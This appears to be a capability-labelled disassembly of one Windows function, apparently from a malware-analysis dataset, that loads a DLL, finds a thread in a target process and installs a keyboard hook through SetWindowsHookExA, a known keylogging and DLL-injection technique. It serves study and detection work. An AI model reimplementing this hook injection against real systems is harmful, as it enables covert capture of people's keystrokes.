Function at 0x140011195
Capabilities:
Enumerate threads
Execute command
Log keystrokes via application hook

Disassembly:
jmp 0x1400139b0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x208]
mov rax, qword [0x140027068]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x14002d482]
call fcn.140011672
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140013a4f
mov rdx, qword [rbp + 0x1e8]
lea rcx, str.Error_in_getting_module_handle_for__s_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x140013c8c
lea rdx, str.HookProcedure
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140013aa6
mov rdx, qword [rbp + 0x1e8]
lea rcx, str.Error_in_getting_hook_procedure_address_in__s_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x140013c8c
mov qword [rbp + 0x48], 0xffffffffffffffff
xor edx, edx
mov ecx, 4
call fcn.140011302
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
jne 0x140013af9
lea rcx, str.Could_not_get_snapshot_of_threads_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x140013c8c
mov dword [rbp + 0x68], 0x1c
mov dword [rbp + 0xa4], 0
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call fcn.140011410
test eax, eax
jne 0x140013b4f
lea rcx, str.Could_not_get_first_thread_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x140013c8c
mov eax, dword [rbp + 0x1e0]
cmp dword [rbp + 0x74], eax
jne 0x140013c5a
mov eax, dword [rbp + 0x70]
mov dword [rbp + 0xa4], eax
mov edx, dword [rbp + 0xa4]
lea rcx, [0x140022890]
call fcn.1400112f8
mov r8d, dword [rbp + 0x70]
xor edx, edx
mov ecx, 0x20000
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
je 0x140013c41
mov edx, dword [rbp + 0xa4]
lea rcx, str.Setting_hook_in_thread_with_ID__d_n
call fcn.1400112f8
mov r9d, dword [rbp + 0xa4]
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x28]
mov ecx, 2
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140013c0f
lea rcx, str.Error_in_Setting_Hook_in_thread_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x140013c8c
mov edx, dword [rbp + 0x1e0]
lea rcx, str.Hook_Installed_successfully_via_SetWindowsHookEx_in_process__d_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov al, 1
jmp 0x140013c8c
lea rcx, str.Could_not_find_suitable_Thread_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call fcn.140011096
test eax, eax
jne 0x140013b4f
cmp dword [rbp + 0xa4], 0
jne 0x140013c8a
mov edx, dword [rbp + 0x1e0]
lea rcx, str.No_Thread_for_use_in_process__d_n
call fcn.1400112f8
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400227f0]
call fcn.140011573
mov rax, rdi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.14001131b
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret